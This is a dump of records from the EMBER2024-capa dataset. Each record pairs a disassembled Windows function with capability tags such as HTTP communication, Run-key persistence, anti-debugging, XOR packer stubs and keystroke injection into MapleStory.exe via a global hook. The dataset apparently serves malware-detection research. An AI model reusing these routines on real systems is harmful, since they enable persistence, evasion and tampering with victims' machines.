joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409e98
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d640
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.0040550e
lea eax, [ebp - 0x210]
push eax
call fcn.0040544e
xor ebx, ebx
push 0x4244d0
mov word [ebp + eax*2 - 0x212], bx
call fcn.0040544e
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040bf7a
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409f32
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409f1e
dec edx
je 0x409f16
dec edx
jne 0x409f24
add ecx, 0xfffe
jmp 0x409f24
add ecx, 0xfffb
jmp 0x409f24
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409eef
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409f55
xor eax, eax
jmp 0x409fca
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0a8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409f51
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040beca
cmp edi, ebx
pop ecx
je 0x409f51
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x409fc8
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bfc5
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a055
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f710
call fcn.0040d2e8
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a0d4
cmp word [ebp - 0x1c], 0xffff
jne 0x40a0d4
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a0ef
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a0b5
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a096
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x4284d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a0ef
jmp 0x40a077
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a0f5
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d323
ret
Function at 0x40a1fa
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x411054], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a21a
call fcn.0040a159
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a22c
mov esi, ebx
call fcn.0040a0fb
test eax, eax
mov dword [ebp - 8], eax
je 0x40a2e1
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a2c8
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a28c
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415268]
mov eax, 0x1388
push dword [0x4201b0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ac64
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40aca4
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x41a648
call fcn.004069bd
test eax, eax
pop ecx
pop ecx
jne 0x40acd2
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40acc0
xor eax, eax
jmp 0x40acd2
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x41a648
call fcn.004069bd
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b384
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1814
call fcn.0040d640
push ebx
push esi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.00406cf6
mov eax, dword [esp + 0x14]
pop ecx
mov ecx, dword [esp + 0x14]
xor ebx, ebx
push ebx
push 0x989680
push ecx
push eax
call fcn.0040d460
push ebx
push 0xe10
push edx
push eax
call fcn.0040d460
mov ecx, 0x41a648
mov dword [0x4114d0], eax
call fcn.004072b4
mov esi, 0x419d78
mov ecx, esi
call fcn.004072b4
mov ecx, 0x4201e0
call fcn.004072b4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, str.Semaphore_157862
push edi
push ebx
push 1
mov dword [0x4114d0], eax
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
test eax, eax
je 0x40b442
push 0x400
lea eax, [esp + 0x24]
push eax
push ebx
mov byte [0x4244ad], 1
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
lea eax, [esp + 0x24]
call fcn.00405490
test eax, eax
pop ecx
je 0x40b442
push 4
push ebx
push 3
call fcn.0040a82a
add esp, 0xc
call fcn.0040b311
call fcn.0040ab9f
test eax, eax
jne 0x40b43d
call fcn.0040ac07
test eax, eax
push 4
pop esi
je 0x40b4bb
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push ebx
push 9
call fcn.0040a82a
add esp, 0xc
push 0x400
lea eax, [esp + 0x1024]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x20]
push eax
call fcn.0040ac64
test eax, eax
pop ecx
je 0x40b4bb
push ebx
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x1028]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b4bb
lea eax, [esp + 0x20]
push eax
call fcn.00407927
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp byte [0x4244ad], bl
je 0x40b4d7
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a82a
add esp, 0xc
jmp 0x40b4b4
lea eax, [esp + 0x820]
push eax
call fcn.0040787e
test eax, eax
pop ecx
je 0x40b43d
lea eax, [esp + 0x820]
push eax
call fcn.00407927
test eax, eax
pop ecx
je 0x40b58f
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 1
mov dword [esp + 0x14], eax
lea eax, [esp + 0x824]
push eax
push 0x41a648
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fa
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x14
test eax, eax
je 0x40b572
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
or dword [esp + 0x1c], 0xffffffff
push ebx
push ebx
push ebx
mov esi, eax
push ebx
lea eax, [esp + 0x28]
push eax
push esi
mov dword [esp + 0x30], 0xdc3cba00
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call edi
jmp 0x40b584
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a82a
add esp, 0xc
push dword [esp + 0x10]
call edi
jmp 0x40b4b4
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a82a
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40cdf6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40ce00
repz ret
jmp fcn.0040d09b
Function at 0x107de3c
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov dword [esp + 3], esi
mov byte [esp + 5], dh
push esp
jmp 0x107de16
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x3b4369b2
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x23fa34f0
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4098c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x46d420], eax
mov ecx, 1
sub ecx, 1
lea esi, [esi]
add ecx, 1
mov edx, dword [ecx*4 + 0x46d41c]
mov eax, edx
shr eax, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
lea eax, [eax + ecx]
mov dword [ecx*4 + 0x46d420], eax
cmp ecx, 0x26f
jl 0x4098d0
mov dword [0x415900], 0x270
ret

Function at 0x409910
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, dword [0x46c010]
cmp eax, dword [0x415420]
je 0x409928
mov dword [0x415900], 0x271
cmp dword [0x415900], 0x270
jl 0x409a47
cmp dword [0x415900], 0x271
jne 0x40995f
mov eax, dword [0x46c010]
call fcn.004098c0
mov eax, dword [0x46c010]
not eax
mov dword [0x46c010], eax
mov dword [0x415420], eax
mov ebx, 0
sub ebx, 1
nop
add ebx, 1
mov eax, dword [ebx*4 + 0x46d424]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x46d420]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x46da54]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x415910]
xor edx, eax
mov dword [ebx*4 + 0x46d420], edx
cmp ebx, 0xe2
jl 0x409968
mov ebx, 0xe3
sub ebx, 1
mov esi, esi
add ebx, 1
mov eax, dword [ebx*4 + 0x46d424]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x46d420]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x46d094]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x415910]
xor edx, eax
mov dword [ebx*4 + 0x46d420], edx
cmp ebx, 0x26e
jl 0x4099bc
mov eax, dword [0x46dddc]
and eax, 0x80000000
mov edx, dword [0x46d420]
and edx, 0x7fffffff
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [0x46da50]
xor edx, eax
and ecx, 1
mov eax, dword [ecx*4 + 0x415910]
xor eax, edx
mov dword [0x46dddc], eax
mov dword [0x415900], 0
mov eax, dword [0x415900]
mov eax, dword [eax*4 + 0x46d420]
add dword [0x415900], 1
mov edx, eax
shr edx, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor eax, edx
mov edx, eax
shl edx, 0xf
and edx, 0xefc60000
xor eax, edx
mov edx, eax
shr edx, 0x12
xor eax, edx
pop ebx
ret
Function at 0x40b4d0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x415180]
cmp ax, 0xcb
je 0x40b5cc
cmp ax, 0xcc
je 0x40b5cc
mov edx, dword [0x46e030]
test edx, edx
je 0x40b502
mov eax, dword [0x46ded0]
call edx
mov ebx, eax
jmp 0x40b507
mov ebx, 0x46ded4
cmp word [0x46dec0], 0
jle 0x40b52a
mov eax, 0x46dea0
call fcn.0040b740
mov eax, ebx
call fcn.0040b0b0
mov eax, ebx
call fcn.0040b120
mov edi, dword [ebx]
jmp 0x40b54a
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x40b545
mov edx, edi
mov eax, ebx
call fcn.0040a580
jmp 0x40b548
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x40b530
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x46dec0], 0
jle 0x40b5cc
mov edx, 0x46dde0
mov eax, ebx
call fcn.0040a6b0
mov edi, eax
test edi, edi
je 0x40b59f
mov eax, dword [0x46de74]
mov dword [edi + 0xc], eax
cmp dword [0x46de74], 0
je 0x40b594
mov eax, dword [0x46de74]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x46de74], eax
sub word [0x46dec0], 1
cmp word [0x46dec0], 0
sete bl
mov eax, 0x46dea0
call fcn.0040b750
test bl, bl
je 0x40b5cc
mov eax, 0x46dea0
call fcn.0040b730
pop edi
pop esi
pop ebx
ret
Function at 0x40eaf0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x7c]
push ebx
push esi
push edi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], pe_nt_image_headers32
mov dword [ebp - 0xc], 0x20
mov dword [ebp - 8], 0x40
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], eax
mov edx, dword [eax + 0x30]
mov eax, dword [ecx + 0x3c]
lea eax, [edx + eax]
movzx edx, word [eax + 6]
add eax, 0xf8
mov dword [ebp - 0x74], eax
lea eax, [edx - 1]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
jb 0x40ec75
sub dword [ebp - 0x6c], 1
lea esi, [esi]
add dword [ebp - 0x6c], 1
imul eax, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x74]
lea esi, [eax + edx]
lea edi, [ebp - 0x4c]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x7c]
or edx, eax
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
test dword [ebp - 0x50], 0xffffffff
je 0x40ec69
mov ebx, dword [ebp - 0x28]
mov eax, ebx
and eax, 0x2000000
je 0x40ebcc
push 0x4000
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 8]
jmp 0x40ec69
mov eax, ebx
and eax, 0x20000000
je 0x40ebde
mov dword [ebp - 0x68], 1
jmp 0x40ebe5
mov dword [ebp - 0x68], 0
mov eax, ebx
and eax, 0x40000000
je 0x40ebf7
mov dword [ebp - 0x64], 1
jmp 0x40ebfe
mov dword [ebp - 0x64], 0
mov eax, ebx
and eax, 0x80000000
je 0x40ec10
mov dword [ebp - 0x60], 1
jmp 0x40ec17
mov dword [ebp - 0x60], 0
mov eax, ebx
and eax, 0x4000000
je 0x40ec29
mov dword [ebp - 0x5c], 1
jmp 0x40ec30
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x68]
shl eax, 4
lea eax, [ebp + eax - 0x24]
mov edx, dword [ebp - 0x64]
lea ecx, [eax + edx*8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x5c], 1
jne 0x40ec56
or dword [ebp - 0x54], 0x200
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 4]
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
ja 0x40eb74
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x31ec20c3
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x387577b6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001230
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001261
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x100012c0
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_PostMessageA]
shl eax, 0x10
push eax
mov eax, dword [0x1000bce4]
push 0
push 0x100
push eax
call ebx
push 0
push esi
call edi
mov ecx, dword [0x1000bce4]
shl eax, 0x10
push eax
push 0
push 0x101
push ecx
call ebx
pop edi
pop esi
pop ebx
ret

Function at 0x100018b0
Capabilities:
Create thread
Enumerate processes
Terminate thread

Disassembly:
sub esp, 0x138
push edi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], 0
mov dword [esp + 8], eax
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 4], eax
mov eax, dword [esp + 0x144]
test eax, eax
jne 0x10001932
mov eax, dword [0x1000bcfc]
test eax, eax
je 0x10001900
mov ecx, dword [0x1000bce4]
push eax
push 0xfffffffffffffffc
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov al, byte [0x1000bd00]
test al, al
je 0x10001923
push 0x100011f0
call dword [0x1000bcf4]
mov edx, dword [0x1000bd04]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, 1
pop edi
add esp, 0x138
ret 0xc
cmp eax, 1
jne 0x10001923
mov eax, dword [esp + 0x140]
push 0
push 2
mov dword [0x1000bce8], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000195f
xor eax, eax
pop edi
add esp, 0x138
ret 0xc
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x128
push ecx
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001a0c
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10001923
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
call ebp
cmp eax, dword [esp + 0x24]
jne 0x100019ec
lea eax, [esp + 0x40]
push str.MapleStory.exe
push eax
call fcn.100068d0
add esp, 8
test eax, eax
jne 0x100019ec
lea ecx, [esp + 0xc]
lea edx, [esp + 0x10]
push ecx
push eax
push eax
push 0x10001800
push eax
push edx
call esi
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
push 0
push 0
push 0x10001080
push 0
push ecx
call esi
mov dword [0x1000bd04], eax
mov byte [0x1000bd00], 1
lea edx, [esp + 0x1c]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001997
pop esi
pop ebp
mov eax, 1
pop edi
add esp, 0x138
ret 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
add esp, 0x138
ret 0xc
Function at 0x10001a50
Capabilities:
Set global application hook

Disassembly:
mov eax, dword [0x1000bce8]
push 0
push eax
push 0x10001a30
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor ecx, ecx
mov dword [0x1000bcec], eax
test eax, eax
setne cl
mov eax, ecx
ret
Function at 0x402b10
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004047cc
test esi, esi
jne 0x402b46
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004048bc
jmp 0x402b64
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402a24
mov edi, eax
test esi, esi
je 0x402b64
cmp dword [ebx], 0
je 0x402b64
dec esi
jmp 0x402b4d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4037e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4d6020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403880
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403860
xor eax, eax
push ebp
push 0x403859
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40389c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403860
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4d6020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4d6020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404650
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4d904c], 0
je 0x4046b1
cmp word [0x4d9220], 0xd7b2
jne 0x404679
cmp dword [0x4d9228], 0
jbe 0x404679
mov eax, 0x4d921c
call dword [0x4d9238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4d6070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4046d8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4d6030], 0
jne 0x4046cd
push 0
push 0x4d6068
push 0x4d6070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406adc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406b42
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404a3c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040337c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406b2c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b49
lea eax, [ebp - 0x10]
call fcn.004047cc
ret

Function at 0x40cb24
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40cb5d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004048bc
jmp 0x40cb66
mov eax, ebx
mov edx, esi
call fcn.00404820
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40cb70
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40cb91
mov al, byte [esp]
jmp 0x40cb93
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40d218
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40d090
mov eax, dword [0x4d8ccc]
cmp byte [eax], 0
je 0x40d294
mov eax, dword [0x4d88f8]
call fcn.00402f70
call fcn.00402950
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409c68
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40d2dc
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40d2ca
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4d8884]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4d9668]
call fcn.00405fd4
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret